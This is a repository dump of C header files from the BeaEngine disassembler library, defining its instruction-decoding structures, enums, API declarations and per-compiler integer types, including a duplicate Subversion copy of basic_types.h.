4 | #include 5 | #include 6 | #include 7 | 8 | #if !defined(BEA_ENGINE_STATIC) 9 | #if defined(BUILD_BEA_ENGINE_DLL) 10 | #define BEA_API bea__api_export__ 11 | #else 12 | #define BEA_API bea__api_import__ 13 | #endif 14 | #else 15 | #define BEA_API 16 | #endif 17 | 18 | 19 | #define INSTRUCT_LENGTH 64 20 | 21 | #pragma pack(1) 22 | typedef struct { 23 | UInt8 W_; 24 | UInt8 R_; 25 | UInt8 X_; 26 | UInt8 B_; 27 | UInt8 state; 28 | } REX_Struct ; 29 | #pragma pack() 30 | 31 | #pragma pack(1) 32 | typedef struct { 33 | int Number; 34 | int NbUndefined; 35 | UInt8 LockPrefix; 36 | UInt8 OperandSize; 37 | UInt8 AddressSize; 38 | UInt8 RepnePrefix; 39 | UInt8 RepPrefix; 40 | UInt8 FSPrefix; 41 | UInt8 SSPrefix; 42 | UInt8 GSPrefix; 43 | UInt8 ESPrefix; 44 | UInt8 CSPrefix; 45 | UInt8 DSPrefix; 46 | UInt8 BranchTaken; 47 | UInt8 BranchNotTaken; 48 | REX_Struct REX; 49 | } PREFIXINFO ; 50 | #pragma pack() 51 | 52 | #pragma pack(1) 53 | typedef struct { 54 | UInt8 OF_; 55 | UInt8 SF_; 56 | UInt8 ZF_; 57 | UInt8 AF_; 58 | UInt8 PF_; 59 | UInt8 CF_; 60 | UInt8 TF_; 61 | UInt8 IF_; 62 | UInt8 DF_; 63 | UInt8 NT_; 64 | UInt8 RF_; 65 | UInt8 alignment; 66 | } EFLStruct ; 67 | #pragma pack() 68 | 69 | #pragma pack(4) 70 | typedef struct { 71 | Int32 BaseRegister; 72 | Int32 IndexRegister; 73 | Int32 Scale; 74 | Int64 Displacement; 75 | } MEMORYTYPE ; 76 | #pragma pack() 77 | 78 | 79 | #pragma pack(1) 80 | typedef struct { 81 | Int32 Category; 82 | Int32 Opcode; 83 | char Mnemonic[16]; 84 | Int32 BranchType; 85 | EFLStruct Flags; 86 | UInt64 AddrValue; 87 | Int64 Immediat; 88 | UInt32 ImplicitModifiedRegs; 89 | } INSTRTYPE; 90 | #pragma pack() 91 | 92 | #pragma pack(1) 93 | typedef struct { 94 | char ArgMnemonic[32]; 95 | Int32 ArgType; 96 | Int32 ArgSize; 97 | UInt32 AccessMode; 98 | MEMORYTYPE Memory; 99 | UInt32 SegmentReg; 100 | } ARGTYPE; 101 | #pragma pack() 102 | 103 | /* reserved structure used for thread-safety */ 104 | /* unusable by customer */ 105 | #pragma pack(1) 106 | typedef struct { 107 | UIntPtr EIP_; 108 | UInt64 EIP_VA; 109 | UIntPtr EIP_REAL; 110 | Int32 OriginalOperandSize; 111 | Int32 OperandSize; 112 | Int32 MemDecoration; 113 | Int32 AddressSize; 114 | Int32 MOD_; 115 | Int32 RM_; 116 | Int32 INDEX_; 117 | Int32 SCALE_; 118 | Int32 BASE_; 119 | Int32 MMX_; 120 | Int32 SSE_; 121 | Int32 CR_; 122 | Int32 DR_; 123 | Int32 SEG_; 124 | Int32 REGOPCODE; 125 | UInt32 DECALAGE_EIP; 126 | Int32 FORMATNUMBER; 127 | Int32 SYNTAX_; 128 | UInt64 EndOfBlock; 129 | Int32 RelativeAddress; 130 | UInt32 Architecture; 131 | Int32 ImmediatSize; 132 | Int32 NB_PREFIX; 133 | Int32 PrefRepe; 134 | Int32 PrefRepne; 135 | UInt32 SEGMENTREGS; 136 | UInt32 SEGMENTFS; 137 | Int32 third_arg; 138 | Int32 TAB_; 139 | Int32 ERROR_OPCODE; 140 | REX_Struct REX; 141 | } InternalDatas; 142 | #pragma pack() 143 | 144 | /* ************** main structure ************ */ 145 | #pragma pack(1) 146 | typedef struct _Disasm { 147 | UIntPtr EIP; 148 | UInt64 VirtualAddr; 149 | UIntPtr SecurityBlock; 150 | char CompleteInstr[INSTRUCT_LENGTH]; 151 | UInt32 Archi; 152 | UInt64 Options; 153 | INSTRTYPE Instruction; 154 | ARGTYPE Argument1; 155 | ARGTYPE Argument2; 156 | ARGTYPE Argument3; 157 | PREFIXINFO Prefix; 158 | InternalDatas Reserved_; 159 | } DISASM, *PDISASM, *LPDISASM; 160 | #pragma pack() 161 | 162 | #define ESReg 1 163 | #define DSReg 2 164 | #define FSReg 3 165 | #define GSReg 4 166 | #define CSReg 5 167 | #define SSReg 6 168 | 169 | #define InvalidPrefix 4 170 | #define SuperfluousPrefix 2 171 | #define NotUsedPrefix 0 172 | #define MandatoryPrefix 8 173 | #define InUsePrefix 1 174 | 175 | enum INSTRUCTION_TYPE 176 | { 177 | GENERAL_PURPOSE_INSTRUCTION = 0x10000, 178 | FPU_INSTRUCTION = 0x20000, 179 | MMX_INSTRUCTION = 0x40000, 180 | SSE_INSTRUCTION = 0x80000, 181 | SSE2_INSTRUCTION = 0x100000, 182 | SSE3_INSTRUCTION = 0x200000, 183 | SSSE3_INSTRUCTION = 0x400000, 184 | SSE41_INSTRUCTION = 0x800000, 185 | SSE42_INSTRUCTION = 0x1000000, 186 | SYSTEM_INSTRUCTION = 0x2000000, 187 | VM_INSTRUCTION = 0x4000000, 188 | UNDOCUMENTED_INSTRUCTION = 0x8000000, 189 | AMD_INSTRUCTION = 0x10000000, 190 | ILLEGAL_INSTRUCTION = 0x20000000, 191 | AES_INSTRUCTION = 0x40000000, 192 | CLMUL_INSTRUCTION = (int)0x80000000, 193 | 194 | 195 | DATA_TRANSFER = 0x1, 196 | ARITHMETIC_INSTRUCTION, 197 | LOGICAL_INSTRUCTION, 198 | SHIFT_ROTATE, 199 | BIT_UInt8, 200 | CONTROL_TRANSFER, 201 | STRING_INSTRUCTION, 202 | InOutINSTRUCTION, 203 | ENTER_LEAVE_INSTRUCTION, 204 | FLAG_CONTROL_INSTRUCTION, 205 | SEGMENT_REGISTER, 206 | MISCELLANEOUS_INSTRUCTION, 207 | COMPARISON_INSTRUCTION, 208 | LOGARITHMIC_INSTRUCTION, 209 | TRIGONOMETRIC_INSTRUCTION, 210 | UNSUPPORTED_INSTRUCTION, 211 | LOAD_CONSTANTS, 212 | FPUCONTROL, 213 | STATE_MANAGEMENT, 214 | CONVERSION_INSTRUCTION, 215 | SHUFFLE_UNPACK, 216 | PACKED_SINGLE_PRECISION, 217 | SIMD128bits, 218 | SIMD64bits, 219 | CACHEABILITY_CONTROL, 220 | FP_INTEGER_CONVERSION, 221 | SPECIALIZED_128bits, 222 | SIMD_FP_PACKED, 223 | SIMD_FP_HORIZONTAL , 224 | AGENT_SYNCHRONISATION, 225 | PACKED_ALIGN_RIGHT , 226 | PACKED_SIGN, 227 | PACKED_BLENDING_INSTRUCTION, 228 | PACKED_TEST, 229 | PACKED_MINMAX, 230 | HORIZONTAL_SEARCH, 231 | PACKED_EQUALITY, 232 | STREAMING_LOAD, 233 | INSERTION_EXTRACTION, 234 | DOT_PRODUCT, 235 | SAD_INSTRUCTION, 236 | ACCELERATOR_INSTRUCTION, /* crc32, popcnt (sse4.2) */ 237 | ROUND_INSTRUCTION 238 | 239 | }; 240 | 241 | enum EFLAGS_STATES 242 | { 243 | TE_ = 1, 244 | MO_ = 2, 245 | RE_ = 4, 246 | SE_ = 8, 247 | UN_ = 0x10, 248 | PR_ = 0x20 249 | }; 250 | 251 | enum BRANCH_TYPE 252 | { 253 | JO = 1, 254 | JC, 255 | JE, 256 | JA, 257 | JS, 258 | JP, 259 | JL, 260 | JG, 261 | JB, 262 | JECXZ, 263 | JmpType, 264 | CallType, 265 | RetType, 266 | JNO = -1, 267 | JNC = -2, 268 | JNE = -3, 269 | JNA = -4, 270 | JNS = -5, 271 | JNP = -6, 272 | JNL = -7, 273 | JNG = -8, 274 | JNB = -9 275 | }; 276 | 277 | enum ARGUMENTS_TYPE 278 | { 279 | NO_ARGUMENT = 0x10000000, 280 | REGISTER_TYPE = 0x20000000, 281 | MEMORY_TYPE = 0x40000000, 282 | CONSTANT_TYPE = (int)0x80000000, 283 | 284 | MMX_REG = 0x10000, 285 | GENERAL_REG = 0x20000, 286 | FPU_REG = 0x40000, 287 | SSE_REG = 0x80000, 288 | CR_REG = 0x100000, 289 | DR_REG = 0x200000, 290 | SPECIAL_REG = 0x400000, 291 | MEMORY_MANAGEMENT_REG = 0x800000, 292 | SEGMENT_REG = 0x1000000, 293 | 294 | RELATIVE_ = 0x4000000, 295 | ABSOLUTE_ = 0x8000000, 296 | 297 | READ = 0x1, 298 | WRITE = 0x2, 299 | 300 | REG0 = 0x1, 301 | REG1 = 0x2, 302 | REG2 = 0x4, 303 | REG3 = 0x8, 304 | REG4 = 0x10, 305 | REG5 = 0x20, 306 | REG6 = 0x40, 307 | REG7 = 0x80, 308 | REG8 = 0x100, 309 | REG9 = 0x200, 310 | REG10 = 0x400, 311 | REG11 = 0x800, 312 | REG12 = 0x1000, 313 | REG13 = 0x2000, 314 | REG14 = 0x4000, 315 | REG15 = 0x8000 316 | }; 317 | 318 | enum SPECIAL_INFO 319 | { 320 | UNKNOWN_OPCODE = -1, 321 | OUT_OF_BLOCK = 0, 322 | 323 | /* === mask = 0xff */ 324 | NoTabulation = 0x00000000, 325 | Tabulation = 0x00000001, 326 | 327 | /* === mask = 0xff00 */ 328 | MasmSyntax = 0x00000000, 329 | GoAsmSyntax = 0x00000100, 330 | NasmSyntax = 0x00000200, 331 | ATSyntax = 0x00000400, 332 | 333 | /* === mask = 0xff0000 */ 334 | PrefixedNumeral = 0x00010000, 335 | SuffixedNumeral = 0x00000000, 336 | 337 | /* === mask = 0xff000000 */ 338 | ShowSegmentRegs = 0x01000000 339 | }; 340 | 341 | 342 | #ifdef __cplusplus 343 | extern "C" 344 | #endif 345 | 346 | BEA_API int __bea_callspec__ Disasm (LPDISASM pDisAsm); 347 | BEA_API const char* __bea_callspec__ BeaEngineVersion (void); 348 | BEA_API const char* __bea_callspec__ BeaEngineRevision (void); 349 | #endif 350 | -------------------------------------------------------------------------------- /include/beaengine/basic_types.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file basic_types.h 3 | * @author 4 | * @date Thu Dec 24 19:31:22 2009 5 | * 6 | * @brief Definitions of fixed-size integer types for various platforms 7 | * 8 | * This file is part of BeaEngine. 9 | * 10 | * BeaEngine is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU Lesser General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * BeaEngine is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU Lesser General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU Lesser General Public License 21 | * along with BeaEngine. If not, see . */ 22 | 23 | #ifndef __BEA_BASIC_TYPES_HPP__ 24 | #define __BEA_BASIC_TYPES_HPP__ 25 | 26 | #include 27 | #include 28 | 29 | #if defined(__GNUC__) || defined (__INTEL_COMPILER) || defined(__LCC__) 30 | //#include 31 | #endif 32 | 33 | #if defined(_MSC_VER) 34 | /* 35 | * Windows/Visual C++ 36 | */ 37 | typedef signed char Int8; 38 | typedef unsigned char UInt8; 39 | typedef signed short Int16; 40 | typedef unsigned short UInt16; 41 | typedef signed int Int32; 42 | typedef unsigned int UInt32; 43 | typedef signed __int64 Int64; 44 | typedef unsigned __int64 UInt64; 45 | #if defined(_WIN64) 46 | #define BEA_PTR_IS_64_BIT 1 47 | typedef signed __int64 IntPtr; 48 | typedef unsigned __int64 UIntPtr; 49 | #else 50 | typedef signed long IntPtr; 51 | typedef size_t UIntPtr; 52 | #endif 53 | #define BEA_HAVE_INT64 1 54 | #elif defined(__GNUC__) || defined(__LCC__) 55 | /* 56 | * Unix/GCC 57 | */ 58 | typedef signed char Int8; 59 | typedef unsigned char UInt8; 60 | typedef signed short Int16; 61 | typedef unsigned short UInt16; 62 | typedef signed int Int32; 63 | typedef unsigned int UInt32; 64 | typedef long IntPtr; 65 | typedef u64 UIntPtr; 66 | #if defined(__LP64__) 67 | #define BEA_PTR_IS_64_BIT 1 68 | #define BEA_LONG_IS_64_BIT 1 69 | typedef signed long Int64; 70 | typedef unsigned long UInt64; 71 | #else 72 | #if defined (__INTEL_COMPILER) || defined (__ICC) || defined (_ICC) 73 | typedef __int64 Int64; 74 | typedef unsigned __int64 UInt64; 75 | #else 76 | typedef signed long long Int64; 77 | typedef unsigned long long UInt64; 78 | #endif 79 | #endif 80 | #define BEA_HAVE_INT64 1 81 | #elif defined(__DECCXX) 82 | /* 83 | * Compaq C++ 84 | */ 85 | typedef signed char Int8; 86 | typedef unsigned char UInt8; 87 | typedef signed short Int16; 88 | typedef unsigned short UInt16; 89 | typedef signed int Int32; 90 | typedef unsigned int UInt32; 91 | typedef signed __int64 Int64; 92 | typedef unsigned __int64 UInt64; 93 | #if defined(__VMS) 94 | #if defined(__32BITS) 95 | typedef signed long IntPtr; 96 | typedef unsigned long UIntPtr; 97 | #else 98 | typedef Int64 IntPtr; 99 | typedef UInt64 UIntPtr; 100 | #define BEA_PTR_IS_64_BIT 1 101 | #endif 102 | #else 103 | typedef signed long IntPtr; 104 | typedef unsigned long UIntPtr; 105 | #define BEA_PTR_IS_64_BIT 1 106 | #define BEA_LONG_IS_64_BIT 1 107 | #endif 108 | #define BEA_HAVE_INT64 1 109 | #elif defined(__HP_aCC) 110 | /* 111 | * HP Ansi C++ 112 | */ 113 | typedef signed char Int8; 114 | typedef unsigned char UInt8; 115 | typedef signed short Int16; 116 | typedef unsigned short UInt16; 117 | typedef signed int Int32; 118 | typedef unsigned int UInt32; 119 | typedef signed long IntPtr; 120 | typedef unsigned long UIntPtr; 121 | #if defined(__LP64__) 122 | #define BEA_PTR_IS_64_BIT 1 123 | #define BEA_LONG_IS_64_BIT 1 124 | typedef signed long Int64; 125 | typedef unsigned long UInt64; 126 | #else 127 | typedef signed long long Int64; 128 | typedef unsigned long long UInt64; 129 | #endif 130 | #define BEA_HAVE_INT64 1 131 | #elif defined(__SUNPRO_CC) || defined(__SUNPRO_C) 132 | /* 133 | * SUN Forte C++ 134 | */ 135 | typedef signed char Int8; 136 | typedef unsigned char UInt8; 137 | typedef signed short Int16; 138 | typedef unsigned short UInt16; 139 | typedef signed int Int32; 140 | typedef unsigned int UInt32; 141 | typedef signed long IntPtr; 142 | typedef unsigned long UIntPtr; 143 | #if defined(__sparcv9) 144 | #define BEA_PTR_IS_64_BIT 1 145 | #define BEA_LONG_IS_64_BIT 1 146 | typedef signed long Int64; 147 | typedef unsigned long UInt64; 148 | #else 149 | typedef signed long long Int64; 150 | typedef unsigned long long UInt64; 151 | #endif 152 | #define BEA_HAVE_INT64 1 153 | #elif defined(__IBMCPP__) 154 | /* 155 | * IBM XL C++ 156 | */ 157 | typedef signed char Int8; 158 | typedef unsigned char UInt8; 159 | typedef signed short Int16; 160 | typedef unsigned short UInt16; 161 | typedef signed int Int32; 162 | typedef unsigned int UInt32; 163 | typedef signed long IntPtr; 164 | typedef unsigned long UIntPtr; 165 | #if defined(__64BIT__) 166 | #define BEA_PTR_IS_64_BIT 1 167 | #define BEA_LONG_IS_64_BIT 1 168 | typedef signed long Int64; 169 | typedef unsigned long UInt64; 170 | #else 171 | typedef signed long long Int64; 172 | typedef unsigned long long UInt64; 173 | #endif 174 | #define BEA_HAVE_INT64 1 175 | #elif defined(__BORLANDC__) 176 | /* 177 | * Borland C/C++ 178 | */ 179 | typedef signed char Int8; 180 | typedef unsigned char UInt8; 181 | typedef signed short Int16; 182 | typedef unsigned short UInt16; 183 | typedef signed int Int32; 184 | typedef unsigned int UInt32; 185 | typedef unsigned __int64 Int64; 186 | typedef signed __int64 UInt64; 187 | typedef unsigned long UIntPtr; 188 | #define BEA_HAVE_INT64 1 189 | #elif defined(__WATCOMC__) 190 | /* 191 | * Watcom C/C++ 192 | */ 193 | typedef signed char Int8; 194 | typedef unsigned char UInt8; 195 | typedef signed short Int16; 196 | typedef unsigned short UInt16; 197 | typedef signed int Int32; 198 | typedef unsigned int UInt32; 199 | typedef unsigned __int64 Int64; 200 | typedef signed __int64 UInt64; 201 | #define BEA_HAVE_INT64 1 202 | typedef size_t UIntPtr; 203 | #elif defined(__sgi) 204 | /* 205 | * MIPSpro C++ 206 | */ 207 | typedef signed char Int8; 208 | typedef unsigned char UInt8; 209 | typedef signed short Int16; 210 | typedef unsigned short UInt16; 211 | typedef signed int Int32; 212 | typedef unsigned int UInt32; 213 | typedef signed long IntPtr; 214 | typedef unsigned long UIntPtr; 215 | #if _MIPS_SZLONG == 64 216 | #define BEA_PTR_IS_64_BIT 1 217 | #define BEA_LONG_IS_64_BIT 1 218 | typedef signed long Int64; 219 | typedef unsigned long UInt64; 220 | #else 221 | typedef signed long long Int64; 222 | typedef unsigned long long UInt64; 223 | #endif 224 | #define BEA_HAVE_INT64 1 225 | #endif 226 | 227 | #if defined(_MSC_VER) || defined(__BORLANDC__) 228 | #define W64LIT(x) x##ui64 229 | #else 230 | #define W64LIT(x) x##ULL 231 | #endif 232 | 233 | 234 | #ifndef C_STATIC_ASSERT 235 | #define C_STATIC_ASSERT(tag_name, x) \ 236 | typedef int cache_static_assert_ ## tag_name[(x) * 2-1] 237 | #endif 238 | 239 | C_STATIC_ASSERT(sizeof_Int8 , (sizeof(Int8) == 1)); 240 | C_STATIC_ASSERT(sizeof_UInt8, (sizeof(UInt8) == 1)); 241 | 242 | C_STATIC_ASSERT(sizeof_Int16 , (sizeof(Int16) == 2)); 243 | C_STATIC_ASSERT(sizeof_UInt16, (sizeof(UInt16) == 2)); 244 | 245 | C_STATIC_ASSERT(sizeof_Int32 , (sizeof(Int32) == 4)); 246 | C_STATIC_ASSERT(sizeof_UInt32, (sizeof(UInt32) == 4)); 247 | 248 | C_STATIC_ASSERT(sizeof_Int64 , (sizeof(Int64) == 8)); 249 | C_STATIC_ASSERT(sizeof_UInt64, (sizeof(UInt64) == 8)); 250 | 251 | #endif 252 | -------------------------------------------------------------------------------- /include/beaengine/.svn/text-base/basic_types.h.svn-base: -------------------------------------------------------------------------------- 1 | /** 2 | * @file basic_types.h 3 | * @author 4 | * @date Thu Dec 24 19:31:22 2009 5 | * 6 | * @brief Definitions of fixed-size integer types for various platforms 7 | * 8 | * This file is part of BeaEngine. 9 | * 10 | * BeaEngine is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU Lesser General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * BeaEngine is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU Lesser General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU Lesser General Public License 21 | * along with BeaEngine. If not, see . */ 22 | 23 | #ifndef __BEA_BASIC_TYPES_HPP__ 24 | #define __BEA_BASIC_TYPES_HPP__ 25 | 26 | #include 27 | 28 | #if defined(__GNUC__) || defined (__INTEL_COMPILER) || defined(__LCC__) 29 | #include 30 | #endif 31 | 32 | #if defined(_MSC_VER) 33 | /* 34 | * Windows/Visual C++ 35 | */ 36 | typedef signed char Int8; 37 | typedef unsigned char UInt8; 38 | typedef signed short Int16; 39 | typedef unsigned short UInt16; 40 | typedef signed int Int32; 41 | typedef unsigned int UInt32; 42 | typedef signed __int64 Int64; 43 | typedef unsigned __int64 UInt64; 44 | #if defined(_WIN64) 45 | #define BEA_PTR_IS_64_BIT 1 46 | typedef signed __int64 IntPtr; 47 | typedef unsigned __int64 UIntPtr; 48 | #else 49 | typedef signed long IntPtr; 50 | typedef size_t UIntPtr; 51 | #endif 52 | #define BEA_HAVE_INT64 1 53 | #elif defined(__GNUC__) || defined(__LCC__) 54 | /* 55 | * Unix/GCC 56 | */ 57 | typedef signed char Int8; 58 | typedef unsigned char UInt8; 59 | typedef signed short Int16; 60 | typedef unsigned short UInt16; 61 | typedef signed int Int32; 62 | typedef unsigned int UInt32; 63 | typedef intptr_t IntPtr; 64 | typedef uintptr_t UIntPtr; 65 | #if defined(__LP64__) 66 | #define BEA_PTR_IS_64_BIT 1 67 | #define BEA_LONG_IS_64_BIT 1 68 | typedef signed long Int64; 69 | typedef unsigned long UInt64; 70 | #else 71 | #if defined (__INTEL_COMPILER) || defined (__ICC) || defined (_ICC) 72 | typedef __int64 Int64; 73 | typedef unsigned __int64 UInt64; 74 | #else 75 | typedef signed long long Int64; 76 | typedef unsigned long long UInt64; 77 | #endif 78 | #endif 79 | #define BEA_HAVE_INT64 1 80 | #elif defined(__DECCXX) 81 | /* 82 | * Compaq C++ 83 | */ 84 | typedef signed char Int8; 85 | typedef unsigned char UInt8; 86 | typedef signed short Int16; 87 | typedef unsigned short UInt16; 88 | typedef signed int Int32; 89 | typedef unsigned int UInt32; 90 | typedef signed __int64 Int64; 91 | typedef unsigned __int64 UInt64; 92 | #if defined(__VMS) 93 | #if defined(__32BITS) 94 | typedef signed long IntPtr; 95 | typedef unsigned long UIntPtr; 96 | #else 97 | typedef Int64 IntPtr; 98 | typedef UInt64 UIntPtr; 99 | #define BEA_PTR_IS_64_BIT 1 100 | #endif 101 | #else 102 | typedef signed long IntPtr; 103 | typedef unsigned long UIntPtr; 104 | #define BEA_PTR_IS_64_BIT 1 105 | #define BEA_LONG_IS_64_BIT 1 106 | #endif 107 | #define BEA_HAVE_INT64 1 108 | #elif defined(__HP_aCC) 109 | /* 110 | * HP Ansi C++ 111 | */ 112 | typedef signed char Int8; 113 | typedef unsigned char UInt8; 114 | typedef signed short Int16; 115 | typedef unsigned short UInt16; 116 | typedef signed int Int32; 117 | typedef unsigned int UInt32; 118 | typedef signed long IntPtr; 119 | typedef unsigned long UIntPtr; 120 | #if defined(__LP64__) 121 | #define BEA_PTR_IS_64_BIT 1 122 | #define BEA_LONG_IS_64_BIT 1 123 | typedef signed long Int64; 124 | typedef unsigned long UInt64; 125 | #else 126 | typedef signed long long Int64; 127 | typedef unsigned long long UInt64; 128 | #endif 129 | #define BEA_HAVE_INT64 1 130 | #elif defined(__SUNPRO_CC) || defined(__SUNPRO_C) 131 | /* 132 | * SUN Forte C++ 133 | */ 134 | typedef signed char Int8; 135 | typedef unsigned char UInt8; 136 | typedef signed short Int16; 137 | typedef unsigned short UInt16; 138 | typedef signed int Int32; 139 | typedef unsigned int UInt32; 140 | typedef signed long IntPtr; 141 | typedef unsigned long UIntPtr; 142 | #if defined(__sparcv9) 143 | #define BEA_PTR_IS_64_BIT 1 144 | #define BEA_LONG_IS_64_BIT 1 145 | typedef signed long Int64; 146 | typedef unsigned long UInt64; 147 | #else 148 | typedef signed long long Int64; 149 | typedef unsigned long long UInt64; 150 | #endif 151 | #define BEA_HAVE_INT64 1 152 | #elif defined(__IBMCPP__) 153 | /* 154 | * IBM XL C++ 155 | */ 156 | typedef signed char Int8; 157 | typedef unsigned char UInt8; 158 | typedef signed short Int16; 159 | typedef unsigned short UInt16; 160 | typedef signed int Int32; 161 | typedef unsigned int UInt32; 162 | typedef signed long IntPtr; 163 | typedef unsigned long UIntPtr; 164 | #if defined(__64BIT__) 165 | #define BEA_PTR_IS_64_BIT 1 166 | #define BEA_LONG_IS_64_BIT 1 167 | typedef signed long Int64; 168 | typedef unsigned long UInt64; 169 | #else 170 | typedef signed long long Int64; 171 | typedef unsigned long long UInt64; 172 | #endif 173 | #define BEA_HAVE_INT64 1 174 | #elif defined(__BORLANDC__) 175 | /* 176 | * Borland C/C++ 177 | */ 178 | typedef signed char Int8; 179 | typedef unsigned char UInt8; 180 | typedef signed short Int16; 181 | typedef unsigned short UInt16; 182 | typedef signed int Int32; 183 | typedef unsigned int UInt32; 184 | typedef unsigned __int64 Int64; 185 | typedef signed __int64 UInt64; 186 | typedef unsigned long UIntPtr; 187 | #define BEA_HAVE_INT64 1 188 | #elif defined(__WATCOMC__) 189 | /* 190 | * Watcom C/C++ 191 | */ 192 | typedef signed char Int8; 193 | typedef unsigned char UInt8; 194 | typedef signed short Int16; 195 | typedef unsigned short UInt16; 196 | typedef signed int Int32; 197 | typedef unsigned int UInt32; 198 | typedef unsigned __int64 Int64; 199 | typedef signed __int64 UInt64; 200 | #define BEA_HAVE_INT64 1 201 | typedef size_t UIntPtr; 202 | #elif defined(__sgi) 203 | /* 204 | * MIPSpro C++ 205 | */ 206 | typedef signed char Int8; 207 | typedef unsigned char UInt8; 208 | typedef signed short Int16; 209 | typedef unsigned short UInt16; 210 | typedef signed int Int32; 211 | typedef unsigned int UInt32; 212 | typedef signed long IntPtr; 213 | typedef unsigned long UIntPtr; 214 | #if _MIPS_SZLONG == 64 215 | #define BEA_PTR_IS_64_BIT 1 216 | #define BEA_LONG_IS_64_BIT 1 217 | typedef signed long Int64; 218 | typedef unsigned long UInt64; 219 | #else 220 | typedef signed long long Int64; 221 | typedef unsigned long long UInt64; 222 | #endif 223 | #define BEA_HAVE_INT64 1 224 | #endif 225 | 226 | #if defined(_MSC_VER) || defined(__BORLANDC__) 227 | #define W64LIT(x) x##ui64 228 | #else 229 | #define W64LIT(x) x##ULL 230 | #endif 231 | 232 | 233 | #ifndef C_STATIC_ASSERT 234 | #define C_STATIC_ASSERT(tag_name, x) \ 235 | typedef int cache_static_assert_ ## tag_name[(x) * 2-1] 236 | #endif 237 | 238 | C_STATIC_ASSERT(sizeof_Int8 , (sizeof(Int8) == 1)); 239 | C_STATIC_ASSERT(sizeof_UInt8, (sizeof(UInt8) == 1)); 240 | 241 | C_STATIC_ASSERT(sizeof_Int16 , (sizeof(Int16) == 2)); 242 | C_STATIC_ASSERT(sizeof_UInt16, (sizeof(UInt16) == 2)); 243 | 244 | C_STATIC_ASSERT(sizeof_Int32 , (sizeof(Int32) == 4)); 245 | C_STATIC_ASSERT(sizeof_UInt32, (sizeof(UInt32) == 4)); 246 | 247 | C_STATIC_ASSERT(sizeof_Int64 , (sizeof(Int64) == 8)); 248 | C_STATIC_ASSERT(sizeof_UInt64, (sizeof(UInt64) == 8)); 249 | 250 | #endif 251 | --------------------------------------------------------------------------------